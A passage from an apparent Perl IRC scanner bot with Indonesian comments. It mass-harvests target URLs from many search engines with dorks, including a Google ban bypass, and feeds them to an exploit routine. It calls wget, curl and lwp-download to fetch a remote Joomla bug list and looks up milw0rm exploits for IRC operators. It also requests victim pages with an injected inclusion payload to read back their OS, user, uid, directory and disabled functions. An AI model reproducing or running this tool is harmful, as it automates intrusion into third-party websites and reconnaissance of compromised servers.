  531.     my @cl = lnk_sortir(@hc);
  532.     msgr($chan,$se,scalar(@hc),scalar(@cl));
  533.     if (scalar(@cl) == 0) { exit; }
  534.     if ($type == 1) { foreach my $e (@cl) { f_simpan($ef,$e); } }
  535.     else {
  536.       my $ef2 = $f.$ef;
  537.       foreach my $e (@cl) { f_simpan($ef2,$e); }
  538.       if    ($type == 2) { s_eksploit(2,$chan,$bug,$dork,$ef2,$se); }
  539.       elsif ($type == 3) { s_eksploit(3,$chan,$bug,$dork,$ef2,$se); }
  540.     }
  541. }
  542. ##[ GOOGLE ]##
  543. sub se_google {
  544.   my ($chan,$key,$nf) = @_;
  545.   my @daftar;
  546.   my $num = 50; my $max = 5000; my $p = 0;
  547.   #my $url = "http://localhost/search/google.co.id.htm";
  548.   my $url = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  549.   my $murl = "http://www.google.co.id";
  550.   my $nxurl;
  551.   my $q = bukasitus($url);
  552.   if ( $q !~ /2009 Google/ ) { msge($chan,"Google","Buriit..Keno Ban"); @daftar = se_gbypass($chan,$key,$nf); }
  553.   if ( $q =~ /dari sekitar <b>(.+?)<\/b>/ ) {
  554.     my $h = $1; $h =~ s/,//g; msgt($chan,"Google","$h");
  555.   }
  556.   if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  557.       my $nxurl = $1; msgn($dbgchan,"Google","Searching:");
  558.   }
  559.   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  560.   for ($p=50;$p<=$max;$p+=$num) {
  561.     $nxurl = "http://www.google.co.id/search?num=".$num."&hl=id&q=".$key."&start=".$p."&sa=N";
  562.     $q = bukasitus($nxurl);
  563.     while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
  564.     if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  565.   }
  566.   return @daftar;
  567. }
  568. ##[ GOOGLE BYPASS ]##
  569. sub se_gbypass {
  570.   my ($chan,$key,$nf) = @_;
  571.   my @daftar;
  572.   my $num = 50; my $max = 1000; my $p = 0;
  573.   my $url = $bypass."?key=".$key."&max=".$max;
  574.   my $nxurl;
  575.   my $q = bukasitus($url);
  576.   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
  577.   return @daftar;
  578. }
  579. ##[ GOOGLE MULTI DOMAIN ]##
  580. sub se_google_m {
  581.   my ($chan,$key,$nf) = @_;
  582.   my @daftar;
  583.   my $num = 50; my $max = 5000; my $p;
  584.   my @doms = (
  585.     "com","ae","com.ar","at","com.au","be","com.br","ca","ch","cl","de","dk","fi","fr","gr","com.hk",
  586.     "ie","co.il","it","co.jp","co.kr","lt","lv","nl","com.pa","com.pe","pl","pt","ru","com.sg",
  587.     "com.tr","com.tw","com.ua","co.uk","hu");
  588.   my $dom = $doms[rand(scalar(@doms))];
  589.   my $url = "http://www.google.".$dom."/search?&num=".$num."&q=".$key;
  590.   my $murl = "http://www.google.".$dom;
  591.   my $nxurl;
  592.   my $q = bukasitus($url);
  593.   if ( $q =~ /class=b><a href=\"(.*?)\">/ ) {
  594.       my $nxurl = $1;
  595.       msgn($chan,"Google.".$dom,"LaGi BonNgkar-bongkar..");
  596.   }
  597.   while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  598.   for ($p=50;$p<=$max;$p+=$num) {
  599.     $nxurl = "http://www.google.".$dom."/search?num=".$num."&q=".$key."&start=".$p."&sa=N";
  600.     $q = bukasitus($nxurl);
  601.     while ( $q =~ m/<h3 class=r><a href=\"http:\/\/(.*?)\"/g ) {  push (@daftar, $1);  }
  602.     if ( $q !~ /<h3 class=r><a href=\"http:\/\/(.*?)\"/ ) { return @daftar;  }
  603.   }
  604.   return @daftar;
  605. }
  606. ##[ AOL (Ga Pake) ]##
  607. sub se_aol {
  608.   my ($chan,$key,$nf) = @_;
  609.   my @daftar;
  610.   my $num = 1; my $max = 500; my $p;
  611.   #my $url = "http://localhost/search/search.aol.com.htm";
  612.   my $url = "http://search.aol.com/aol/search?query=".$key;
  613.   my $murl = "http://search.aol.com/aol/";
  614.   my $nxurl;
  615.   my $q = bukasitus($url);
  616.   if ( $q =~ /of&nbsp;about&nbsp;<b>(.*?)<\/b>/ ) {
  617.     my $h = $1; $h =~ s/,//g; msgt($chan,"Aol","$h");
  618.   }
  619.   if ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
  620.       my $nxurl = $1; msgn($dbgchan,"Aol","Searching:");
  621.   }
  622.   while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  623.   while ( $q =~ /<span class=\"gspPageNext\"><a href=\"(.*?)\">/ ) {
  624.     $nxurl = $murl.htmltourl($1);
  625.     $q = bukasitus($nxurl);
  626.     while ( $q =~ m/property=\"f:url\">http:\/\/(.*?)<\/p>/g ) { push (@daftar, $1); }
  627.   }
  628.   return @daftar;
  629. }
  630. ##[ YAHOO ]##
  631. sub se_yahoo {
  632.   my ($chan,$key,$nf) = @_;
  633.   my @daftar;
  634.   my $num = 100; my $max = 5000; my $p = 1;
  635.   #my $url = "http://localhost/search/www.search.yahoo.com.htm";
  636.   my $url = "http://www.search.yahoo.com/search?p=".$key."&ei=UTF-8&fr=yfp-t-501&fp_ip=IT&pstart=1&b=".$p;
  637.   my $murl;
  638.   my $nxurl;
  639.   my $q = bukasitus($url);
  640.   if ( $q =~ /id=\"infotext\"><p> .*? of(.*?) for/ ) {
  641.     my $h = $1; $h =~ s/,//g; msgt($chan,"Yahoo","$h");
  642.   }
  643.   if ( $q =~ /999 Unable to process request at this time/ ) { msge($chan,"Yahoo","Banned!"); }
  644.   if ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  645.       my $nxurl = $1; msgn($dbgchan,"Yahoo","Searching:");
  646.   }
  647.   while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  648.   while ( $q =~ /<a id=\"pg-next\" href=\"(.*?)\">Next/ ) {
  649.     $p++; if ( $p > $max ) { return @daftar; }
  650.     $nxurl = $murl.htmltourl($1);
  651.     $q = bukasitus($nxurl);
  652.     while ( $q =~ m/26u=(.*?)%26w=/g ) { push (@daftar, $1); }
  653.   }
  654.   return @daftar;
  655.  
  656. }
  657. ##[ ALTAVISTA ]##
  658. sub se_altavista {
  659.   my ($chan,$key,$nf) = @_;
  660.   my @daftar;
  661.   my $num = 100; my $max = 5000; my $p = 1;
  662.   #my $url = "http://localhost/search/www.altavista.com.htm";
  663.   my $url = "http://www.altavista.it/web/results?itag=ody&q=".$key."&kgs=0&kls=0&nbq=".$num."&stq=".$p;
  664.   my $murl;
  665.   my $nxurl;
  666.   my $q = bukasitus($url);
  667.   if ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  668.       my $nxurl = $1; msgn($dbgchan,"Altavista","Searching:");
  669.   }
  670.   while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  671.   while ( $q =~ /<a href=\"(.*?)\" target=\"_self\">Next/ ) {
  672.     $nxurl = $murl.htmltourl($1);
  673.     $q = bukasitus($nxurl);
  674.     while ( $q =~ m/<span class=ngrn>(.*?) <\/span>/g ) { push (@daftar, $1); }
  675.   }
  676.   return @daftar;
  677. }
  678. ##[ ALLTHEWEB ]##
  679. sub se_alltheweb {
  680.   my ($chan,$key,$nf) = @_;
  681.   my @daftar;
  682.   my $num = 100; my $max = 5000; my $p = 1;
  683.   #my $url = "http://localhost/search/www.alltheweb.com.htm";
  684.   my $url = "http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=".$num."&q=".$key."&o=".$p;
  685.   my $murl;
  686.   my $nxurl;
  687.   my $q = bukasitus($url);
  688.   if ( $q =~ /<span class=\"ofSoMany\">(.+?)<\/span>/ ) {
  689.     my $h = $1; $h =~ s/,//g; msgt($chan,"AllTheWeb","$h");
  690.   }
  691.   if ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  692.       my $nxurl = $1; msgn($dbgchan,"AllTheWeb","Searching:");
  693.   }
  694.   while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  695.   while ( $q =~ /<a  href=\"(.*?)\" class=\"rnavLink\">Next/ ) {
  696.     $nxurl = $murl.htmltourl($1);
  697.     $q = bukasitus($nxurl);
  698.     while ( $q =~ m/<span class=\"resURL\">http:\/\/(.+?)<\/span>/g ) { push (@daftar, $1); }
  699.   }
  700.   return @daftar;
  701. }
  702. ##[ GOODSEARCH ]##
  703. sub se_goodsearch {
  704.   my ($chan,$key,$nf) = @_;
  705.   my @daftar;
  706.   my $num = 0; my $max = 300; my $p = 1;
  707.   #my $url = "http://localhost/search/www.goodsearch.com.html";
  708.   my $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  709.   my $murl = "http://www.goodsearch.com/";
  710.   my $nxurl;
  711.   my $q = bukasitus($url);
  712.   if ( $q =~ /of about <strong>(.+?)<\/strong>/ ) {
  713.     my $h = $1; $h =~ s/,//g; msgt($chan,"GoodSearch","$h");
  714.   }
  715.   if ( $q =~ m/&nbsp;<span class=\"search_numberpager_nextprev\"><a href=\"(.+?)\">Next<\/a>/ ) {
  716.       my $nxurl = $1; msgn($dbgchan,"GoodSearch","Searching:");
  717.   }
  718.   while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  719.   for ($p=2;$p<=$max;$p++) {
  720.     $url = "http://www.goodsearch.com/Search.aspx?Keywords=".$key."&page=".$p."&osmax=".$num;
  721.     $q = bukasitus($url);
  722.     while ( $q =~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { push (@daftar, $2); }
  723.     if ( $q !~ m/<a href=\"(Redirect.+?)\">http:\/\/(.*?)<\/a>/g ) { return @daftar; }
  724.   }
  725.   return @daftar;
  726. }
  727. ## UOL ##
  728. sub se_uol {
  729.   my ($chan,$key,$nf) = @_;
  730.   my @daftar;
  731.   my $num = 10; my $max = 5000; my $p;
  732.   #my $url = "http://localhost/search/busca.uol.com.br.htm";
  733.   my $url = "http://mundo.busca.uol.com.br/buscar.html?q=".$key."";
  734.   my $murl = "http://busca.uol.com.br";
  735.   my $nxurl;
  736.   my $q = bukasitus($url);
  737.   if ( $q =~ /results\">(.+?)<\/strong>/ ) {
  738.     my $h = $1; $h =~ s/,//g; msgt($chan,"Uol","$h");
  739.   }
  740.   if ( $q =~ /<a href=\"(.*?)\" class=\"next\">/ ) {
  741.       my $nxurl = htmltourl($1); msgn($dbgchan,"Uol","Searching:");
  742.   }
  743.   while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  744.   for ($p=1;$p<=$max;$p += $num) {
  745.     $q = bukasitus("http://mundo.busca.uol.com.br/buscar.html?q=".$key."&start=".$p);
  746.     while ( $q =~ m/<dt><a href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  747.     if ( $q !~ /<dt><a href/ ) { return @daftar; }
  748.   }
  749.   return @daftar;
  750. }
  751. ## LIVE ##
  752. sub se_live {
  753.   my ($chan,$key,$nf) = @_;
  754.   my @daftar;
  755.   my $num = 50; my $max = 5000; my $p;
  756.   #my $url = "http://localhost/search/search.live.com.htm";
  757.   my $url = "http://search.live.com/results.aspx?q=".$key."&go";
  758.   my $murl =  "http://search.live.com";
  759.   my $nxurl;
  760.   my $q = bukasitus($url);
  761.   if ( $q =~ /<a  class=\"sb_pagN\" href=\"(.*?)\" onmousedown/ ) {
  762.       my $nxurl = $1; msgn($dbgchan,"Live",htmltourl($nxurl));
  763.   }
  764.   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  765.     my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  766.   }
  767.   for ( $p=0;$p<=$max;$p += $num ) {
  768.     $nxurl = $murl.htmltourl($1)."&go";
  769.     $q = bukasitus("http://search.live.com/results.aspx?q=".$key."&first=".$p."&FORM=PORE");
  770.     while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\"/g ) {
  771.       my $l = $1 ; if ($l !~ /google/) { push (@daftar, $l); }
  772.     }
  773.   }
  774.   return @daftar;
  775. }
  776. ## CLUSTY ##
  777. sub se_clusty {
  778.   my ($chan,$key,$nf) = @_;
  779.   my @daftar;
  780.   my $num = 50;
  781.   #my $url = "http://localhost/search/clusty.com.htm";
  782.   my $url = "http://clusty.com/search?query=".$key."&input-form=clusty-simple&v:sources=webplus";
  783.   my $murl = "http://clusty.com";
  784.   my $nxurl;
  785.   my $q = bukasitus($url);
  786.   if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  787.     my $h = $1; $h =~ s/,//g; msgt($chan,"Clusty","$h");
  788.   }
  789.   if ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  790.       my $nxurl = $1; msgn($dbgchan,"Clusty",htmltourl($nxurl));
  791.   }
  792.   while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  793.   while ( $q =~ /<a class=\"listnext\" href=\"(.*?)\">next/ ) {
  794.     $nxurl = $murl.htmltourl($1);
  795.     $q = bukasitus($nxurl);
  796.     while ( $q =~ m/<a target=\"_top\" href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  797.   }
  798.   return @daftar;
  799. }
  800. ##[ ASK ]##
  801. sub se_ask {
  802.   my ($chan,$key,$nf) = @_;
  803.   my @daftar;
  804.   my $num = 50; my $max = 200; my $p = 1;
  805.   #my $url = "http://localhost/search/www.ask.com.htm";
  806.   my $url = "http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p;
  807.   my $murl = "http://www.ask.com/web";
  808.   my $nxurl;
  809.   my $q = bukasitus($url);
  810.   if ( $q =~ /<a href=\"(.*?)\" class=\"(.+?)\" style=\"text-decoration:none\" >Next/ ) {
  811.     my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Ask","Next: $h");
  812.   }
  813.   while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
  814.     my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  815.   }
  816.   for ($p=1;$p<=$max;$p++) {
  817.     $q = bukasitus("http://www.ask.com/web?q=".$key."&o=0&l=dir&page=".$p);
  818.     while ( $q =~ m/id=\"(.+?)\" href=\"http:\/\/(.+?)\" onmousedown/g ) {
  819.       my $l = $2 ; if ($l !~ /google|www.ask.com/) { push (@daftar, $l); }
  820.     }
  821.   }
  822.   return @daftar;
  823. }
  824. ## LYCOS ##
  825. sub se_lycos {
  826.   my ($chan,$key,$nf) = @_;
  827.   my @daftar;
  828.   my $num = 10; my $max = 200;  my $p;
  829.   #my $url = "http://localhost/search/search.lycos.com.htm";
  830.   my $url = "http://search.lycos.com/?loc=searchbox&tab=web&adf=on&query=".$key."&submit=image";
  831.   my $murl =  "http://search.lycos.com/";
  832.   my $nxurl;
  833.   my $q = bukasitus($url);
  834.   if ( $q =~ /<a href=\"(.*?)\">Next/ ) {
  835.     my $nxurl = $1; msgn($dbgchan,"Lycos","Searching:");
  836.   }
  837.   while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  838.   for ( $p=0;$p<=$max;$p++ ) {
  839.     $q = bukasitus("http://search.lycos.com/?query=".$key."&page2=".$p."&tab=web");
  840.     while ( $q =~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { push (@daftar, $1); }
  841.     if ( $q !~ m/<a href=\"http:\/\/(.*?)\" onmouseover/g ) { return @daftar; }
  842.   }
  843.   return @daftar;
  844. }
  845. ## GIGABLAST ##
  846. sub se_gigablast {
  847.   my ($chan,$key,$nf) = @_;
  848.   my @daftar;
  849.   my $num = 50; my $max = 5000;
  850.   #my $url = "http://localhost/search/gigablast.com.htm";
  851.   my $url = "http://www.gigablast.com/search?q=".$key."&n=".$max;
  852.   my $murl = "http://www.gigablast.com";
  853.   my $nxurl;
  854.   my $q = bukasitus($url);
  855.   if ( $q =~ /intronum\">(.+?)<\/span>/ ) {
  856.     my $h = $1; $h =~ s/,//g; msgt($chan,"Gigablast","$h");
  857.   }
  858.   if ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  859.       my $nxurl = $1; msgn($dbgchan,"Gigablast","Searching:");
  860.   }
  861.   while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  862.   while ( $q =~ /<a class=\"navigation\" href="(.*?)\">/ ) {
  863.     $nxurl = $murl.htmltourl($1);
  864.     $q = bukasitus($nxurl);
  865.     while ( $q =~ m/<a class=\"result-title\" href=\"http:\/\/(.*?)\">/g ) { push (@daftar, $1); }
  866.   }
  867.   return @daftar;
  868. }
  869. ## MAMMA ##
  870. sub se_mamma {
  871.   my ($chan,$key,$nf) = @_;
  872.   my @daftar;
  873.   my $num = 50; my $max = 10; my $p = 1;
  874.   #my $url = "http://localhost/search/mamma.com.htm";
  875.   my $url = "http://mamma.com/Mamma?utfout=1&query=".$key."&qtype=0&rpp=50&cb=Mamma&index=".$p;
  876.   my $murl;
  877.   my $nxurl;
  878.   my $q = bukasitus($url);
  879.   if ( $q =~ /Search Results<\/b> .*? of (.*?) for/ ) {
  880.     my $h = $1; $h =~ s/,//g; msgt($chan,"Mamma","$h");
  881.   }
  882.   if ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  883.     my $h = $1; $h =~ s/,//g; msgn($dbgchan,"Mamma","Next: $h");
  884.   }
  885.   while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  886.     my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  887.   }
  888.   while ( $q =~ /<a href=\"(.*?)\"><font color=#2A3383 face=verdana size=2>Next/ ) {
  889.     $nxurl = $murl.htmltourl($1);
  890.     $q = bukasitus($nxurl);
  891.     while ( $q =~ m/http:\/\/(.*?)\<\/span>/g ) {
  892.       my $l = $1 ; if ($l !~ /mamma.com/) { push (@daftar, $l); }
  893.     }
  894.   }
  895.   return @daftar;
  896. }
  897. ## DMOZ ##
  898. sub se_dmoz {
  899.   my ($chan,$key,$nf) = @_;
  900.   my @daftar;
  901.   my $num = 20; my $max = 5000; my $p = 1;
  902.   #my $url = "http://localhost/search/search.dmoz.org.htm";
  903.   my $url = "http://search.dmoz.org/cgi-bin/search?search=".$key;
  904.   my $murl = "http://search.dmoz.org/cgi-bin/";
  905.   my $nxurl;
  906.   my $q = bukasitus($url);
  907.   if ( $q =~ /Open Directory Sites<\/b><\/font> \((.+?) of (.+?)\)/ ) {
  908.     my $h = $2; $h =~ s/,//g; msgt($chan,"Dmoz","$h");
  909.   }
  910.   if ( $q =~ /<a href=\"(.*?)\">Next<\/a>\">/ ) {
  911.       my $nxurl = $1; msgn($dbgchan,"Dmoz","Searching:");
  912.   }
  913.   while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  914.   while ( $q =~ /<a href=\"(.*?)\">Next<\/a>/ ) {
  915.     $nxurl = $murl.htmltourl($1);
  916.     $q = bukasitus($nxurl);
  917.     while ( $q =~ m/<li><a href=\"http:\/\/(.*?)\"/g ) { push (@daftar, $1); }
  918.   }
  919.   return @daftar;
  920. }
  921. ## VIRGILIO ##
  922. sub se_virgilio {
  923.   my ($chan,$key,$nf) = @_;
  924.   my @daftar;
  925.   my $num = 20; my $max = 2000; my $p = 0;
  926.   my $url =  "http://ricerca.alice.it/ricerca?qs=".$key."filter=1&site=&lr=&hits=".$num."&offset=".$p;
  927.   my $murl = "http://ricerca.alice.it/";
  928.   my $nxurl;
  929.   my $q = bukasitus($url);
  930.   if ( $q =~ /<span>(.*?) risultati per <b>/ ) {
  931.     my $h = $1; $h =~ s/,//g; $h =~ s/\.//g;
  932.     msgt($chan,"Virgilio","$h");
  933.   }
  934.   if ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  935.       my $nxurl = $1; msgn($dbgchan,"Virgilio","Searching:");
  936.   }
  937.   while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  938.   while ( $q =~ /<a href=\".*\s+<a href=\"(.*?)\"><span>Avanti/ ) {
  939.     $nxurl = $murl.htmltourl($1);
  940.     $q = bukasitus($nxurl);
  941.     while ( $q =~ m/<h3><a href=\"http:\/\/(.*?)\" class/g ) { push (@daftar, $1); }
  942.   }
  943.   return @daftar;
  944. }
  945. ## WEBDE ##
  946. sub se_webde {
  947.   my ($chan,$key,$nf) = @_;
  948.   my @daftar;
  949.   my $num = 1; my $max = 100; my $p;
  950.   for ( $p = 0;$p <= $max; $p += $num ) {
  951.     my $url = "http://suche.web.de/search/web/?pageIndex=".$p."&su=".$key."&y=0&x=0&mc=suche\@web\@navigation\@zahlen.suche\@web";
  952.     my $q = bukasitus($url);
  953.     while ( $q =~ m/<span class=\"url\">http:\/\/(.*?)<\/span>/g ) { push (@daftar, $1); }
  954.     if ( $q !~ /<span class=\"url\">http:\/\/(.*?)<\/span>/ ) { return @daftar; }
  955.   }
  956.   return @daftar;
  957. }
  958. ## FIREBALL ##
  959. sub se_fireball {
  960.   my ($chan,$key,$nf) = @_;
  961.   my @daftar;
  962.   my $num = 1; my $max = 500; my $p;
  963.   for ( $p = 0;$p <= $max; $p += $num ) {
  964.     my $url = "http://suche.fireball.de/cgi-bin/pursuit?pag=".$p."&query=".$key."&cat=fb_web&enc=utf-8";
  965.     my $q = bukasitus($url);
  966.     while ( $q =~ m/<a href=\"http:\/\/(.*?)\" target/g ) { push (@daftar, $1); }
  967.     if ( $q !~ /<a href=\"http:\/\/(.*?)\" target/ ) { return @daftar; }
  968.     if ( $q =~ /ergab keine Treffer in Deutsche Seiten/ ) { return @daftar; }
  969.   }
  970.   return @daftar;
  971. }
  972. ## HOTBOT ##
  973. sub se_hotbot {
  974.   my ($chan,$key,$nf) = @_;
  975.   my @daftar;
  976.   my $num = 1; my $max = 200; my $p;
  977.   for ( $p = 0;$p <= $max; $p += $num ) {
  978.     my $url = "http://www.hotbot.com/?query=".$key."&ps=&loc=searchbox&tab=web&mode=search&currProv=msn&page=".$p;
  979.     my $q = bukasitus($url);
  980.     while ( $q =~ m/<span class=\"grn\">http:\/\/(.+?)<\/span>/g ) {
  981.       my $l = $1 ; if ($l !~ /hotbot/) { push (@daftar, $l); }
  982.     }
  983.     if ( $q !~ /<span class=\"grn\">http:\/\/(.+?)<\/span>/ ) { return @daftar; }
  984.   }
  985.   return @daftar;
  986. }
  987. ## NETSCAPE (Ga pake) ##
  988. sub se_netscape {
  989.   my ($chan,$key,$nf) = @_;
  990.   my @daftar;
  991.   my $num = 1; my $max = 10; my $p;
  992.   for ( $p = 0;$p <= $max; $p += $num ) {
  993.     my $url = "http://search.netscape.com/search/search?query=".$key."&page=".$p."&y=0&x=0&st=webresults";
  994.     my $q = bukasitus($url);
  995.     while ( $q =~ m/url\">http:\/\/(.*?)<\/p>/g ) {
  996.       my $l = $1 ; if ($l !~ /search.netscape/) { push (@daftar, $l); }
  997.     }
  998.     if ( $q !~ /url\">http:\/\/(.*?)<\/p>/ ) { return @daftar; }
  999.   }
  1000.   return @daftar;
  1001. }
  1002. ## WEBCRAWLER ##
  1003. sub se_webcrawler {
  1004.   my ($chan,$key,$nf) = @_;
  1005.   my @daftar;
  1006.   my $num = 50; my $max = 500; my $p;
  1007.   for ( $p = 0;$p <= $max; $p++ ) {
  1008.     $num += $num;
  1009.     my $url = "http://www.webcrawler.com/webcrawler/ws/redir/qcat=Web/qkw=".$key."/qcoll=relevance/zoom=off/bepersistence=true/qi=".$num."/qk=50/page=".$p."/_iceUrlFlag=11?_IceUrl=true";
  1010.     my $q = bukasitus($url);
  1011.     while ( $q =~ m/status='http:\/\/(.*?)';/g ) {
  1012.       my $l = $1 ; if ($l !~ /webcrawler|google/) { push (@daftar, $l); }
  1013.     }
  1014.     if ( $q !~ /wsPagerNext/ ) { return @daftar; }
  1015.   }
  1016.   return @daftar;
  1017. }
  1018. ## EUROSEEK ##
  1019. sub se_euroseek {
  1020.   my ($chan,$key,$nf) = @_;
  1021.   my @daftar;
  1022.   my $num = 10; my $max = 6000; my $p;
  1023.   for ( $p = 0;$p <= $max; $p+=$num ) {
  1024.     my $url = "http://euroseek.com/system/search.cgi?language=en&mode=internet&start=".$p."&string=".$key;
  1025.     my $q = bukasitus($url);
  1026.     while ( $q =~ m/<a href=\"http:\/\/(.+?)\" class=\"searchlinklink\">/g ) { push (@daftar, $1); }
  1027.     if ( $q !~ /Next/ ) { return @daftar; }
  1028.   }
  1029.   return @daftar;
  1030. }
  1031. ## ABACHO ##
  1032. sub se_abacho {
  1033.   my ($chan,$key,$nf) = @_;
  1034.   my @daftar;
  1035.   my $num = 10; my $max = 1000; my $p = 0;
  1036.   for ( $p = 0;$p <= $max; $p += $num ) {
  1037.     my $url = "http://search.abacho.com/it/abacho.it/index.cfm?offset=".$p."&poffset=0&StartCounter=".$p."&q=".$key."&a=&b=&country=it&page=&d_html=&d_pdf=&d_msdoc=&d_xls=&d_ppt=&mesearchkey=&cluster=&coop=";
  1038.     my $q = bukasitus($url);
  1039.     while ( $q =~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { push (@daftar, $1); }
  1040.     if ( $q !~ m/target=\"_blank\">http:\/\/(.+?)<\/a>/g ) { return @daftar; }
  1041.     if ( $q =~ /We didn't find any results matching your query/ ) { return @daftar; }
  1042.   }
  1043.   return @daftar;
  1044. }
  1045. ## END OF RUTIN SEARCH ENGINE ##
  1046.  
  1047. ##[ BUG JOOMLA ]##
  1048. sub bugjoomla {
  1049.   my $mode = $_[0];
  1050.   my @bugz;
  1051.   system("lwp-download ".$joomlaz);
  1052.   system("curl -O ".$joomlaz);
  1053.   system("wget ".$joomlaz);
  1054.   open(FILE,"< joomla.txt");
  1055.   if ($mode eq "hitung") {
  1056.     my $baris = 0; my $buff;
  1057.     while (sysread FILE, $buff, 4096) { $baris += ($buff =~ tr/\n//); }
  1058.     close FILE;
  1059.     f_hapus("joomla.txt*");
  1060.     return $baris;
  1061.   }
  1062.   else {
  1063.     while ( my $r = <FILE> ) { $r =~ s/\n//g; push(@bugz,$r); }
  1064.     close(FILE);
  1065.     f_hapus("joomla.txt*");
  1066.     return @bugz;
  1067.   }
  1068. }
  1069.  
  1070. ##[ MILW0RM ]##
  1071. sub milw0rm {
  1072.   my ($chan,$key) = @_;
  1073.   my $max = 10; my $i;
  1074.   #my $q = bukasitus("http://localhost/milw0rm_rfi.htm");
  1075.   my $q = bukasitus("http://milw0rm.com/search.php?dong=".urlen($key));
  1076.   irc_msg($chan,"1 [milw0rm.com]9 $key ");
  1077.   while ( $q =~ m/<a href=\"\/exploits\/(.*?)\" target=\"_blank\" class=\"style14\">(.*?)<\/a>/g ) {
  1078.     $i++;
  1079.     my ($exp,$judul) = ($1,$2);
  1080.     irc_msg($chan,$colz{1}." $judul 15http://milw0rm.com/exploits/$exp ");
  1081.     sleep(1);
  1082.     return if ($i == $max);
  1083.   }
  1084. }
  1085.  
  1086. ##[ BERSIH DORK ]##
  1087. sub bersihdork {
  1088.   my ($chan,$dork) = @_;
  1089.   if ( $dork =~ /inurl:|allinurl:|intext:|allintext:|intitle:|allintitle:/ ) {
  1090.     irc_msg($chan,$colz{1}." Membersihkan kata kunci Google.. ");
  1091.     $dork =~ s/^inurl://g;
  1092.     $dork =~ s/^allinurl://g;
  1093.     $dork =~ s/^intext://g;
  1094.     $dork =~ s/^allintext://g;
  1095.     $dork =~ s/^intitle://g;
  1096.     $dork =~ s/^allintitle://g;
  1097.   }
  1098.   return $dork;
  1099. }
  1100.  
  1101. ##[ SORTIR LINK ]##
  1102. sub lnk_sortir {
  1103.   my @unik = ();
  1104.   my %ada  = ();
  1105.   foreach my $e ( @_ ) { next if $ada{ $e }++; push @unik, $e; }
  1106.   return @unik;
  1107. }
  1108.  
  1109. ##[ SUBLINK ]##
  1110. sub lnk_sub {
  1111.   my $link = $_[0];
  1112.   my (@links,$path);
  1113.   my ($host,@paths) = split(/\//,$link);
  1114.   $host .= "/";
  1115.   push (@links,$host);
  1116.   foreach my $e (@paths) {
  1117.     if ($e) {
  1118.       $path .= $e."/";
  1119.       my $sublink = $host.$path;
  1120.       push (@links,$sublink);
  1121.      }
  1122.   }
  1123.   return @links;
  1124. }
  1125.  
  1126. ##[ INFO OS ]##
  1127. sub info_os {
  1128.   my $url = $_[0];
  1129.   my @info;
  1130.   my $h  = bukasitus($url.$zfxid2."??");
  1131.   my ($safe,$os,$uname,$server,$user,$uid,$dir,$perm,$hdd,$disfunc);
  1132.   while ( $h =~ m/<br>SAFE: (.+?)<br>/g ) { $safe = $1; }
  1133.   while ( $h =~ m/<br>OS: (.+?)<br>/g ) { $os = $1; }
  1134.   while ( $h =~ m/<br>UNAME: (.+?)<br>/g ) { $uname = $1; }
  1135.   while ( $h =~ m/<br>SERVER: (.+?)<br>/g ) { $server = $1; }
  1136.   while ( $h =~ m/<br>USER: (.+?)<br>/g ) { $user = $1; }
  1137.   while ( $h =~ m/<br>UID: (.+?)<br>/g ) { $uid = $1; }
  1138.   while ( $h =~ m/<br>DIR: (.+?)<br>/g ) { $dir = $1; }
